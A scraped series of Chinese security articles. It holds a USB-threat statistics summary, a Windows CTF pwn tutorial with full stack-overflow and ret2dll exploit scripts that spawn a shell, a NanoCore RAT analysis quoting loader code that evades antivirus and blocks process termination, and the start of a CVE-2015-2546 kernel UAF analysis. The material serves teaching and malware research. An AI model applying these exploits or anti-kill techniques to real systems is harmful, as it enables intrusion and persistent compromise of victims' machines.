Trojan.Win64.Miner.all的检测数据如下：
年 | Trojan.Win64.Miner.all的检测数据 | 唯一用户数 | 年-年之间的变化 | 唯一用户数占总体可移动媒体威胁中的比例
---|---|---|---|---
2016 | 4,211,246 | 245,702 | +70.15% | 4.2%
2017 | 4,214,785 | 301,178 | +18.42% | 6.7%
2018 (根据上半年的数据进行预测) | 4,209,958 | 362,242 | +16.42% | 9.2%
### 黑暗龙舌兰 – 高级银行恶意软件
2018年8月，卡巴斯基实验室的研究人员发布了关于高级网络攻击黑暗龙舌兰（[Dark
Tequila](https://securelist.com/dark-tequila-anejo/87528/)）的分析报告。该攻击活动至少在过去5年内主要针对墨西哥的用户，用于窃取目标的银行凭据以及个人/企业信息等。其使用的恶意软件可以在目标计算机离线时横向移动。
根据卡巴斯基实验室安全研究人员的说法，该恶意代码通过受感染的USB设备以及钓鱼活动进行传播，并包含逃避检测的功能。黑暗龙舌兰背后的攻击者据称是来自于西班牙/拉丁美洲。
## 目标的地理分布
新兴市场最容易受到可移动媒体威胁的感染。
2017年的数据表明，在许多这类国家中，约2/3的用户曾遭遇到“本地”安全事件（包括可移动媒体威胁导致的驱动器根目录感染），而发达经济体中这一数字为不到1/4。2018年的数字似乎也没有什么变化。
对通过可移动媒体传播的LNK
exploit来说，2018年迄今受影响最大的国家是越南（18.8%的用户受到感染）、阿尔及利亚（11.2％）和印度（10.9％），其它受影响的地区包括亚洲的其它国家、俄罗斯和巴西等，还有一小部分攻击发生在欧洲的国家（西班牙、德国、法国、英国和意大利）、美国以及日本。
2018年，可移动媒体威胁中CVE-2010-2568 exploit影响的用户比例，来源：KSN（仅统计了卡巴斯基用户超过1万的国家）
恶意矿工的影响范围更广。Trojan.Win32.Miner.ays/Trojan.Win.64.Miner.all的威胁检测主要在印度（23.7%）、俄罗斯（18.45%
–
可能是因为卡巴斯基用户的基数大）和哈萨克斯坦（14.38%）中发现，其它受影响的地区包括亚洲的其它国家和非洲，还有一小部分攻击发生在欧洲的国家（英国、德国、荷兰、瑞士、西班牙、比利时、奥地利、意大利、丹麦和瑞典）、美国和日本。
2018年，可移动媒体威胁中恶意比特币矿工影响的用户比例，来源：KSN（仅统计了卡巴斯基用户超过1万的国家）
## 结论及建议
本文的主要目的是提高消费者和企业对可能被低估了的威胁的认识。
USB驱动器具有许多优点：它们结构紧凑，便于携带，并且具有很好的品牌资产。但对设备本身而言，如果没有受到保护，其存储的数据和插入的计算机都容易受到潜在威胁的攻击。
幸运的是，消费者和组织可以采取一些措施来有效保护USB设备的使用。
给所有USB用户的建议：
* 请谨慎对待连接到你的计算机的设备 – 你清楚地知道它的来路吗？
* 从可信品牌商购买加密保护的USB设备 – 这样即使你丢失了你的设备，你也知道你的数据是安全的
* 确保存储在USB设备上的所有数据都被加密
* 使用安全防护解决方案在可移动媒体连接到系统时进行恶意软件扫描 – 因为即使是可信品牌，也可能会遭到供应链攻击
给企业的额外建议：
* 管理USB设备的使用：规定哪些USB设备可以使用，谁可以使用以及可用于哪些目的
* 针对员工的USB安全实践进行教育和培训 – 特别是如果他们在家用设备和工作设备之间使用USB设备
* 请勿将USB设备遗留在显示器上或随处摆放 | 社区文章 |
> 上一节笔者学习了winpwn的用法，以及最基础的栈溢出利用用法和win
> pwn的保护机制的意思，这一节笔者学习了利用pwntools编写exp以及调试程序，也学习了ret2dll的利用手法
之前的文章链接：
* [win pwn初探（一）](https://xz.aliyun.com/t/11865)
# win-pwn初探（二）
## 利用pwntools编写exp
这里需要Ex师傅的一个工具：[Win Server](https://github.com/Ex-Origin/win_server)，这个就像搭建pwn题一样，把exe给映射到一个端口上
git clone https://github.com/Ex-Origin/win_server.git
如上git clone之后即可使用，用法：`.\win_server.exe ..\ch72\ch72.exe
1234`就可以把ch72.exe给映射到1234端口上，试着用nc连接一下，发现可以正常的执行程序
16:15:45 [email protected] test nc 10.211.55.3 1234
a
A
pwntools如下安装
pip3 install pwntools
接着就可以正常使用pwntools了，需要注意的是目前只支持`remote`的用法
from pwn import *
from time import sleep
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
p1 = b'a' * (0x14 + 4)
p1 += p32(0x401000)
r.sendline(p1)
sleep(1)
r.sendline('calc')
r.interactive()
将上一节的exp改一下之后运行可以正常触发calc
## 结合pwntools进行调试
在调试exp的时候花了很长时间，断点下在了main函数入口那里，以为会直接断在那里的。然后运行的时候发现断不了，就在网上找解决方法（srv，reload），心态快要爆炸后，问了一下Ex师傅，师傅看了一眼就知道问题出在了断点下的太前，已经执行过了，在gets后下了一个断点就成功的断下来了
首先在exp前面加上一个pause()使得程序停住，如下exp运行
from pwn import *
from time import sleep
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
pause()
p1 = b'a' * (0x14 + 4)
p1 += p32(0x401000)
r.sendline(p1)
r.interactive()
然后利用windbg attach到程序上
在`0x0401088`这里下一个断点，并且输入g，g就是程序运行到断点停住
0:002> bp 0x0401088
0:002> g
然后回到exp那里输入任意键，执行payload，此时windbg会断到断点这里
0:002> g
Breakpoint 0 hit
eax=00000012 ebx=00243000 ecx=00402732 edx=0041b098 esi=0041be28 edi=0041be2c
eip=00401088 esp=0019fe74 ebp=0019fe90 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0023 efl=00000202
ch72+0x1088:
00401088 83c408 add esp,8
在ebp这里减去0x20就可以看到输入了a（0x61）被转换成大写A（0x41），并且后面可以看到ebp被覆盖成了aaaa而返回地址被覆盖成了`0x00401000`这个地址也就是后门地址
0:000> dc ebp - 0x20
0019fe70 00401088 0041b01c 0019fe7c 41414141 [email protected].|...AAAA
0019fe80 41414141 41414141 41414141 00000010 AAAAAAAAAAAA....
0019fe90 61616161 00401000 00000000 06e29668 [email protected]...
0019fea0 06e29690 8abb39fd 00401347 00243000 [email protected]$.
0019feb0 00243000 00000000 00401347 00243000 [email protected]$.
0019fec0 0019fea4 00000000 0019fef8 00401c60 ............`.@.
0019fed0 8ae3509d 00000000 0019fef0 762ec038 .P..........8..v
0019fee0 00243000 00000000 00000000 00000000 .0$.............
再次g就可以getshell，也可以单步调试-`p`，下面是ret之后的，可以看到成功跑进后门里
0:000> p
eax=00000000 ebx=00363000 ecx=00402732 edx=0041b098 esi=0041be28 edi=0041be2c
eip=00401000 esp=0019fe98 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0023 efl=00000246
ch72+0x1000:
00401000 55 push ebp
## 利用winpwn模块进行调试
winpwn调试和上面的区别是winpwn可以本地调试（对目前来说），在winpwn的官方文档里要求配置一个.winpwn到 **HOMEDIR**
这个文件夹里面，不知道homedir是什么就可以用如下python运行一下
Python 3.10.8 (tags/v3.10.8:aaaf517, Oct 11 2022, 16:50:30) [MSC v.1933 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.path.expanduser("~\\.winpwn")
'C:\\Users\\MAC\\.winpwn'
>>>
然后写入如下配置
{
"debugger":{
"i386": {
"x64dbg": "F:\\ctfTools\\debugTools\\x64debug\\release\\x32\\x32dbg.exe",
"gdb": "F:\\ctfTools\\windows-gdb\\mingw-w64-686\\mingw32\\bin\\gdb.exe",
"windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe",
"windbgx": "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe"
},
"amd64": {
"x64dbg": "F:\\ctfTools\\debugTools\\x64debug\\release\\x64\\x64dbg.exe",
"gdb": "F:\\ctfTools\\windows-gdb\\mingw-w64-64\\mingw64\\bin\\gdb64.exe",
"windbg": "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe",
"windbgx": "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe"
}
},
"debugger_init": {
"i386": {
"x64dbg": "",
"gdb": "",
"windbg": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;",
"windbgx": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;"
},
"amd64": {
"x64dbg": "",
"gdb": "",
"windbg": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;",
"windbgx": ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;"
}
}
}
目前只需要改第7行的代码，把之前下载的windbg.exe的位置填进去就好了
然后exp如下
from winpwn import *
from time import *
#context.log_level='debug'
context.arch='i386'
file_name = './ch72.exe'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = process(file_name)
windbgx.attach(r)
payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
r.interactive()
运行exp时windbg就会自动启动，再像上面pwntools那样下断点即可
## ret2dll
这个攻击手法和ret2libc相似，用`root-me PE32 - Stack buffer overflow avancé`这题来学习一下
[题目地址](https://www.root-me.org/fr/Challenges/App-Systeme/PE32-Stack-buffer-overflow-avance)，题目源码需要攻击成功之后才可以查看
在做这个题目前先理解一下什么是dll，DLL的全称是Dynamic Link
Library，中文叫做“动态链接文件”，在Windows操作系统中，DLL对于程序执行是非常重要的，因为程序在执行的时候，必须链接到DLL文件，才能够正确地运行。而有些DLL文件可以被许多程序共用。因此,
程序设计人员可以利用DLL文件, 使程序不至于太过巨大。
这测试一下，写一个test.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char** argv) {
printf("hello wrold");
system("pause");
return 0;
}
接着用[进程资源管理器](https://learn.microsoft.com/zh-cn/sysinternals/downloads/process-explorer)这个工具查看test.exe的dll有哪些
看到了几个经常看见的dll，`ntdll.dll`, `kernel32.dll`, `KernelBase.dll`, `ucrtbase.dll`
* ntdll.dll：ntdll.dll是重要的Windows NT内核级文件。描述了windows本地NTAPI的接口。当Windows启动时，ntdll.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域。是Windows系统从ring3到ring0的入口，位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0，函数的实现实体在ring0中
* kernel32.dll：kernel32.dll是非常重要的32位动态链接库文件，属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理，当Windows启动时，kernel32.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域
* KernelBase.dll：系统文件kernelbase.dll是存放在Windows系统文件夹中的重要文件，通常情况下是在安装操作系统过程中自动创建的，对于系统正常运行来说至关重要
* ucrtbase.dll：在介绍ucrtbase.dll前先看一下msvcrt.dll是啥，msvcrt.dll是微软在windows操作系统中提供的C语言运行库执行文件（Microsoft Visual C Runtime Library)，其中提供了printf,malloc,strcpy等C语言库函数的具体运行实现，这个和libc.so很像。ucrtbase.dll其实就是把`msvcrt.dll`拆开了，主要的c运行时的代码放在了`ucrtbase.dll`中
整个调用链如上
现在回到题目，ida反汇编之后如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v4; // [esp+1Ch] [ebp-4h]
__main();
if ( argc <= 1 )
{
fprintf(&__iob[2], "Usage: %s <filename>\n", *argv);
exit(1);
}
v4 = fopen(argv[1], "r");
manage_file(v4, (char *)argv[1]);
return 0;
}
会把argv转入的filename通过fopen打开，传入到`manage_file`函数中，跟进
int __usercall manage_file@<eax>(int a1@<eax>, FILE *Stream, char *FileName)
{
void *v3; // esp
int v4; // eax
int v5; // eax
int v6; // eax
char DstBuf[8192]; // [esp+14h] [ebp-a] BYREF
int FileHandle; // [esp+2014h] [ebp-14h]
unsigned int MaxCharCount; // [esp+2018h] [ebp-10h]
FILE *v11; // [esp+201Ch] [ebp-Ch]
v3 = alloca(a1);
memset(DstBuf, 0, sizeof(DstBuf));
v11 = Stream;
printf("File name: %s\n", FileName);
fseek(Stream, 0, 2);
MaxCharCount = ftell(Stream);
rewind(Stream);
printf("File size: %d\n", MaxCharCount);
FileHandle = open(FileName, 0);
read(FileHandle, DstBuf, MaxCharCount);
close(FileHandle);
v4 = count_chars(DstBuf);
printf("Alphanumerical chars: %d\n", v4);
v5 = count_words(DstBuf);
printf("Words: %d\n", v5);
v6 = count_lines(DstBuf);
printf("Lines: %d\n", v6);
printf("File pointer: %p\n", v11);
return fclose(v11);
}
首先会输出文件名，接着会把文件大小给输出，然后打开文件通过read将文件里面的内容输入到`DstBuf`这个变量中，值得注意的是并没有对大小进行限制，导致栈溢出的发生，但是还有一个点是需要注意的，fclose(v11)这个v11直接栈溢出的话会被覆盖掉最后会导致失败，所以需要把v11先给泄露出来然后栈溢出的时候把v11还给覆盖成正常的pointer即可
所以先随便写一个文件然后运行一下输出一下`File pointer`
PS ch73> echo a > p1
PS ch73> .\ch73.exe p1
File name: p1
File size: 8
Alphanumerical chars: 1
Words: 1
Lines: 0
File pointer: 75E2D660
拿到`pointer`之后就可以构造第二个payload了，因为这个程序没有system函数，但是我们需要getshell所以不得不寻找system，在glibc
pwn中，可以使用ret2libc的攻击手法，在win中通过上面的介绍`msvcrt.dll`里提供了具体的实现，所以也是有ret2dll的攻击方法，原理和ret2libc差不多
在win中并没有plt和got表这个概念，但是DLL也用到了类似GOT的方法，称为 **导入地址数组** （ **Import Address
Table，IAT**
），IAT和GOT非常类似，IAT中表项对应本模块中用到的外部符号的真实地址，初始为空（也不算为空），在装载后由动态链接器更新为真实地址。在ida中可以看到位于.idata段中
plt其实可以看成下图的地址
接下来构造第二个payload，也就是输出printf的真实地址，exp如下
from winpwn import *
context.log_level = 'debug'
printf_plt = 0x402974
printf_got = 0x406200
p1 = p32(0x75E2D660) * 2053
p1 += p32(0xdeadbeef)
p1 += p32(printf_plt)
p1 += p32(0x004016E3)
p1 += p32(printf_got)
p1 = [ord(i) for i in p1]
with open('./p2', 'wb+') as f:
f.write(bytes(p1))
f.close()
运行之后最后那一串就是printf的真实地址，因为是argv这种参数，所以接收地址不是很好接收，winpwn自动化没有输出（很奇怪），所以笔者就用动态调试exp来获得printf的真实地址，这里笔者用的ida调试的
PS ch73> .\ch73.exe p2
File name: p2
File size: 8228
Alphanumerical chars: 2054
Words: 1
Lines: 0
File pointer: 75E2D660
pV觰PW觰癢觰 Y觰PY觰€[觰File name: 兡[?垭壝岰?卲*@
在`401825`这里下个断点然后，在debug里面选择本地，找到程序后Parameters里面放入p2也就是argv，然后开始调试
到断点那里，然后g搜索到`406200`这个地址，这个里面就存放的是printf的真实地址
拿到printf真实的地址之后就需要算dll的base，在笔者的虚拟机里`msvcrt.dll`是在`C:\Windows\SyChpe32\msvcrt.dll`但是笔者在实机上测的时候这个程序的dll在
`C:\WINDOWS\SysWOW64\msvcrt.dll`这里
把dll文件拖到ida中，搜索printf在dll里面的偏移算出dll_base，还有system以及cmd.exe的偏移并算出真实地址
printf_addr = 0x75D35670
dll_base = printf_addr - 0x10105670
system_addr = dll_base + 0x10105A70
cmd_addr = dll_base + 0x1010D158
最后再构造getshell的payload如下
p1 = p32(0x75E2D660) * 2053
p1 += p32(0xdeadbeef)
p1 += p32(system_addr)
p1 += p32(0x004016E3)
p1 += p32(cmd_addr)
p1 = [ord(i) for i in p1]
with open('./p3', 'wb+') as f:
f.write(bytes(p1))
f.close()
运行即可getshell
PS ch73> .\ch73.exe p3
File name: p3
File size: 8228
Alphanumerical chars: 2056
Words: 1
Lines: 0
File pointer: 75E2D660
Microsoft Windows [版本 10.0.22000.1219]
(c) Microsoft Corporation。保留所有权利。
## 总结
这里笔者学习了IAT表和作用，还有argv参数的调试，坑点是`msvcrt.dll`这个文件位置需要根着自己本机的程序来确定，笔者卡在这里一段时间，最后想了一下把程序在ida中调试了一下才发现`msvcrt.dll`的位置和网上的wp有些不一样
## Reference
<https://zhuanlan.zhihu.com/p/406236763>
<https://baike.baidu.com/item/ntdll.dll/10959419>
<https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/>
<https://www.polarxiong.com/archives/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3DLL%E4%B8%8D%E6%98%AF%E5%9C%B0%E5%9D%80%E6%97%A0%E5%85%B3%E7%9A%84-DLL%E4%B8%8EELF%E7%9A%84%E5%AF%B9%E6%AF%94%E5%88%86%E6%9E%90.html>
<https://www.anquanke.com/post/id/210394> | 社区文章 |
### 前言
几天前，`Fortinet`的`FortiGuard实验室`在网络中获取到一个恶意的MS
Word文档。在文档中，研究人员发现了可自动执行的恶意VBA代码，并且可以在受害者的Windows系统上安装`NanoCore RAT`软件。
`NanoCore RAT`是在.Net框架中进行开发，其目前最新版本是“1.2.2.0”。
该软件的作者“`泰勒·哈德尔斯顿`”被联邦调查局抓获并于去年初被送进监狱。
而本次我们获取的样本就是使用`NanoCore`，从而在受害者的系统上执行恶意代码。
在这篇文章中，我将展示它如何进行传播并安装到受害者的系统上。
### 恶意Word文档
我们获取的Word文档的名称是`“eml _-_ PO20180921.doc”`。 当把它在MS
Word中打开时，我们会看到如图1所示的内容。正如图中所示，应用窗口顶部有一条黄色警告消息。
一旦受害者点击图中的黄色按钮“启用内容”，恶意VBA代码就会在后台执行。 VBA代码可以从`“Document_Open”`中自动执行。
它的代码进行过混淆操作，如图所示。
在图中，我们观察API函数名称并调试输出信息，我们可以看到VBA代码做了一件事：它从指定的URL处下载了一个EXE文件“`hxxp://www.wwpdubai.com/wp-content/plugins/jav/inv.exe`“并将其保存到”`％temp％\ CUVJN.exe`“中。 然后在下载完成后执行此EXE文件。
`CUVJN.exe`是一个`.Net`框架程序。 它的原始名称是“`icce.exe`”。
图中的截图显示了相关的详细信息。然而我们是在运行`CUVJN.exe`时进行提取的，并不是真正的`NanoCore
RAT`应用。让我们继续看看恶意代码如何运行。
### 执行Downloaded CUVJN.exe程序
我用`.Net`调试器`dnSpy`加载了`CUVJN.exe`。我们对其主要功能进行跟踪，我们可以看到它从其资源部分加载了大量数据块，然后将它们放在一起并对它们进行解密。
从下面的图中我们看到`CUVJN.exe`通过“9”资源文件夹中的名称重复加载资源块。 然后将所有数据放在一起形成本地数组变量“array10”。
然后进行解密数据操作以获得新的PE文件。
从`CUVJN.exe`资源部分加载数据。
解密源文件得到PE文件。
解密的PE文件是另一个.Net框架程序。 它的原始名称是`“dll.exe”`。 此时，程序尚未调用其“主要”功能。
下面是函数“МđыдĐäѦГБуѦ”的代码片段。它通过“invoke”调用“main”函数，其中参数“crap”具有“main”函数。
这就如同直接执行函数“invoke（crap）”。 这意味着被解密的“dll.exe”将在CUVJN.exe进程内运行。
public static void МđыдĐäѦГБуѦ(object fileName, object crap)
{
checked
{
try
{
NewLateBinding.LateCall(crap, null, "invoke", new object[]
{null, new object[0] }, null, null, null, true);
int num = 0;
object instance;
[ ... ]
根据我们的分析，解密的.Net程序是守护进程。 让我们继续从main（）函数中进行跟踪分析。
首先，它创建一个Mutex并检查该进程是否已存在，以确保系统只运行该程序的一个进程。
接下来，它通过检测系统是否加载了`“snxhk.dll”`模块来检查Avast是否在受害者的系统上运行。 如果已经运行，它会一直等到它被卸载。
而`Avast`是一款`AntiVirus`软件，`“snxhk.dll”`是其模块之一。
public static void avast() {
try {
IntPtr moduleHandle = RunPE.GetModuleHandle("snxhk.dll");
while (moduleHandle != IntPtr.Zero) {
moduleHandle = RunPE.GetModuleHandle("snxhk.dll");
Thread.Sleep(500);
}
}
catch (Exception ex)
{ }
}
然后，该函数执行与`CUVJN.exe`类似的活动，以从其资源gzip存档中加载数据。 之后执行以下函数解压缩gzip存档并获取PE文件。
这是真正的`NanoCore RAT客户端`。
public static byte[] DEC(byte[] ThrowApples, int VAR12 = 70)
{
int num = 0;
GZipStream gzipStream = new GZipStream(new MemoryStream(ThrowApples), CompressionMode.Decompress, true);
int num2 = ThrowApples.Length;
byte[] result;
try
{
byte[] array;
for (;;)
{
array = (byte[])Utils.CopyArray((Array)array, new byte[num + num2 + 1]);
int num3 = gzipStream.Read(array, num, num2);
if (num3 == 0)
{ break; }
num += num3;
}
array = (byte[])Utils.CopyArray((Array)array, new byte[num - 1 + 1]);
result = array;
}
[ … ]
在运行真正的`NanoCore客户端`之前，程序会执行一些检查操作。
它会检查当前进程的完整路径是否为“`%AppData%\Microsoft\Windows\ScreenToGif\netprotocol.exe`”。
当然，这里的结果是“假”。 此时我们仍在进程`CUVJN.exe中`，因此其完整路径为“`％temp％\ CUVJN.exe`”。
然后它停止上述操作并采取分支将`CUVJN.exe`文件复制到文件夹“`%AppData%\Microsoft\Windows\ScreenToGif\`”，然后将其重命名为“`netprotocol.exe`”。
之后，它使用新文件创建一个新的“Process”对象，并调用`“Process”对象`的“`Start()`”函数来运行它。
最后，它调用`“ProjectData.EndApp()”`来终止`CUVJN.exe`进程。
下图显示了如何将恶意软件复制到新路径，并进行运行操作，然后退出`CUVJN.exe`的代码段。
作为“CUVJN.exe”的副本，由于“netprotocol.exe”正在运行，所以我们可以预期它与我们上面回顾的CUVJN.exe完全相同。 他们是：
1.从资源部分加载数据，然后解密它以获取“dll.exe”文件。
2.在“netprotocol.exe”中运行“dll.exe”的主要功能，而不是“CUVJN.exe”。
3.从“dll.exe”的资源中解压缩`NanoCore`。
4.检查当前进程的完整路径是否为“`%AppData%\Microsoft\Windows\ScreenToGif\netprotocol.exe`”。
这次答案是“正确”。
让我们从中断的位置继续跟踪，其中只有进程的名称已更改为“`netprotocol.exe`”。
### 无法结束守护进程
通过我们的分析，“dll.exe”是一个守护进程。 它启动另一个`“netprotocol.exe”`并将解压缩的`NanoCore`注入其内存，然后运行。
`“dll.exe”`的一个任务是让`NanoCore`在第二个`“netprotocol.exe”`中作为守护进程保持良好的运行。
它有一个`“ProtectMe”`类，其功能函数是“ProtectMe.Protect()”，作用是防止进程被杀。
当我第一次在我的测试环境中测试这个恶意软件时，我很惊讶我根本无法杀死进程`“netprotocol.exe”`。
它既不是系统服务，也不具有比我有更高的权限。 在我做了一些研究之后，我了解了这个类的功能，如下所示。
[DllImport("ntdll.dll")]
private static extern IntPtr ZwSetInformationProcess(IntPtr _1, IntPtr _2, IntPtr _3, IntPtr _4);
public static void Protect()
{
ProtectMe.ZwSetInformationProcess(ProtectMe.GetCurrentProcess(), (IntPtr)33L, (IntPtr)ProtectMe.VarPtr(-2147421911), (IntPtr)4L);
事实证明它使用来自`NTDLL.dll`的函数`ZwSetInformationProcess`。 这个函数可以修改进程的状态，这就是我无法杀死进程的原因。
下图是当我尝试通过命令`“taskkill”`杀死`“netprotocol.exe”`时的屏幕截图，守护进程`“netprotocol.exe”（PID
3428）`无法被杀死。
此处有一个名为“`RunPE.doIt()`”的函数用于运行和保护`NanoCore RAT`客户端。 它调用API
`CreateProcessA`来启动一个新的“`netprotocol.exe`”应用，之后暂停它。
接下来，它在新的`“netprotocol.exe”`中分配内存，并使用`API
WriteProcessMemory`将整个`NanoCore`放入新分配的内存中。
最后，它将线程上下文的入口点修改为`NanoCore`的入口点，并通过调用`API
ResumeThread`在第二个“netprotocol.exe”内运行`NanoCore`。
### NanoCore RAT客户端
`NanoCore`是2013年首次发现的`RAT（远程访问特洛伊木马）`。它能够在受害者的机器上执行许多恶意操作，例如修改注册表、进程控制、提权操作、文件传输、键盘记录、密码窃取等。
NanoCore是一个.Net框架程序。 它的代码被完全混淆。入下图所示。
一旦它在第二个`“netprotocol.exe”`中运行，它会在`“％AppData％”`文件夹下创建一个新的主文件夹。
新文件夹在我的测试环境中命名为“`AA401429-5100-45C4-9496-689224150CC3`”。 它还会创建许多子文件夹，例如“`DHCP
Manager`”和“`Logs`”，然后将“`netprotocol.exe`”复制到“`DHCP
Manager`”并将其重命名为“`dhcpmgr.exe`”。 然后，它在Windows注册表中创建一个自动运行项，其值为“DHCP
Manager”，其数据内容是“dhcpmgr.exe”的完整路径。 下图显示了详细信息。
`“Logs”`子文件夹包含从受害者系统收集的不同子文件夹中的数据，其名称是不同登录用户的当前登录用户名。
为了方便演示，我将展示如何输入消息。 我打开了Chrome浏览器并访问了一个网上银行网站，我在登录页面上输入了测试帐号和测试密码。
我们可以发现我输入的所有内容都被NanoCore客户端获取，并保存在“Logs”子文件夹相关登录用户的文件中。 文件名伪装成Windows更新日志文件。
### 结论
恶意Word文档已被检测为`“VBA/Agent.1B7E!tr.dldr”`，并且FortiGuard
AntiVirus服务已将`“CUVJN.exe`”检测为`“MSIL/Injector.REB!tr”`。
恶意软件下载的URL已被`FortiGuard WebFilter`服务评为“恶意网站”。
### 如何删除此恶意软件
1> 从系统注册表`“HKCU\Software\Microsoft\Windows\CurrentVersion\Run”`中删除值“`DHCP
Manager`”（取决于Windows系统版本）并保存数据供以后使用，例如`“％AppData％\ [随机字符串]\DHCP
Manager\dhcpmgr.exe”`。
2> 重新启动Windows系统。
3> 删除“`%AppData%\Microsoft\Windows\ScreenToGif`”文件夹。
4> 删除在步骤1中保存的文件夹。
### IOC
**URL:**
hxxp://www.wwpdubai.com/wp-content/plugins/jav/inv.exe
**Sample SHA256:**
eml_-_PO20180921.doc
FFEE1A33C084360B24C5B987B80887A2D77248224DBD6A0B6574FF9CEF74BDD6
CUVJN.exe / icce.exe / dhcpmgr.exe / netprotocol.exe
32BB5F767FE7788BCA4DD07F89F145D70EC3F58E2581CAB9CA6182D3FCE9BC86
文章为翻译稿件。原文：https://www.fortinet.com/blog/threat-research/-net-rat-malware-being-spread-by-ms-word-documents.html | 社区文章 |
作者：Leeqwind
作者博客：<https://xiaodaozhi.com/exploit/122.html>
这篇文章将分析 Windows 操作系统 `win32k` 内核模块窗口管理器子系统中的 CVE-2015-2546 漏洞，与上一篇分析的
CVE-2017-0263 漏洞类似地，这个漏洞也是弹出菜单 `tagPOPUPMENU` 对象的释放后重用（UAF）漏洞。分析的环境是 Windows 7
x86 SP1 基础环境的虚拟机。
#### 0x0 前言
这篇文章分析了发生在窗口管理器（User）子系统的菜单管理组件中的 CVE-2015-2546 UAF（释放后重用）漏洞。在内核函数
`xxxMNMouseMove` 调用 `xxxSendMessage` 向目标菜单窗口对象发送 `MN_SELECTITEM`
消息期间，执行流存在发生用户回调的可能性；在发送消息的函数调用返回后，函数 `xxxMNMouseMove` 没有重新获取目标菜单窗口对象所关联的弹出菜单
`tagPOPUPMENU` 对象的地址，而直接使用在发送 `MN_SELECTITEM` 消息之前就存储在寄存器 `ebx`
中的弹出菜单对象地址，将该地对象址作为参数传递给 `xxxMNHideNextHierarchy` 函数调用，并在该函数中对目标弹出菜单对象进行访问。
如果用户进程先前通过利用技巧构造了特殊关联和属性的菜单窗口对象，并设置特定的挂钩处理程序，那么在调用 `xxxSendMessage`
向目标菜单窗口对象发送 `MN_SELECTITEM`
消息期间，执行流返回到用户上下文，用户进程中的利用代码将有足够的能力触发销毁目标菜单窗口对象，从而在内核中直接释放菜单窗口对象关联的弹出菜单对象；当执行流返回到内核上下文时，寄存器
`ebx` 中存储的地址指向的内存已被释放，而函数在将该地址作为参数传递给函数 `xxxMNHideNextHierarchy`
之前缺少必要的验证，这将导致 UAF 漏洞的发生。
在触发销毁目标菜单窗口对象之后，用户进程中的利用代码通过巧妙的内存布局，使系统重新分配相同大小的内存区域以占用先前释放的弹出菜单对象的内存块，伪造新的弹出菜单对象并构造相关成员域，在用户进程地址空间中伪造新的子菜单窗口对象和关联的消息处理函数，并将窗口对象的地址存储在伪造的弹出菜单对象成员域
`spwndNextPopup` 中。在内核中函数 `xxxMNHideNextHierarchy` 将向目标弹出菜单对象的成员域
`spwndNextPopup`指向的子菜单窗口对象发送 `MN_SELECTITEM`
消息，这将使执行流直接在内核上下文中直接进入定义在用户进程地址空间中的伪造消息处理函数，执行函数中的内核利用代码，实现内核利用和提权的目的。
#### 0x1 原理
CVE-2015-2546 漏洞发生在内核函数 `win32k!xxxMNMouseMove` 中。在该函数执行期间，在调用函数
`xxxSendMessage` 向目标菜单窗口对象发送 `0x1F0`(`MN_SETTIMERTOOPENHIERARCHY`)
消息之后，如果函数返回值为 `0`，系统将在未对寄存器 `ebx` 中存储的目标弹出菜单 `tagPOPUPMENU`
对象的内存地址进行有效性校验的情况下就调用函数 `xxxMNHideNextHierarchy` 并将该地址传入函数的 `popupMenu` 参数。
.text:00139530 push edi ; lParam
.text:00139531 push edi ; wParam
.text:00139532 push 1F0h ; message
.text:00139537 push esi ; pwnd
.text:00139538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:0013953D test eax, eax
.text:0013953F jnz short loc_139583
.text:00139541 push ebx ; popupMenu
.text:00139542 call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:00139547 jmp short loc_139583
_存在漏洞的目标代码片段_
与补丁进行对比，发现补丁在调用函数 `xxxSendMessage` 发送 `MN_SETTIMERTOOPENHIERARCHY` 消息和调用函数
`xxxMNHideNextHierarchy` 的语句之间增加对目标窗口对象扩展区域指向关联弹出菜单对象的指针和寄存器 `ebx`
中存储数值的对比判断，如果不相等则将跳过函数 `xxxMNHideNextHierarchy` 的调用。
.text:BF93EC2E push edi ; lParam
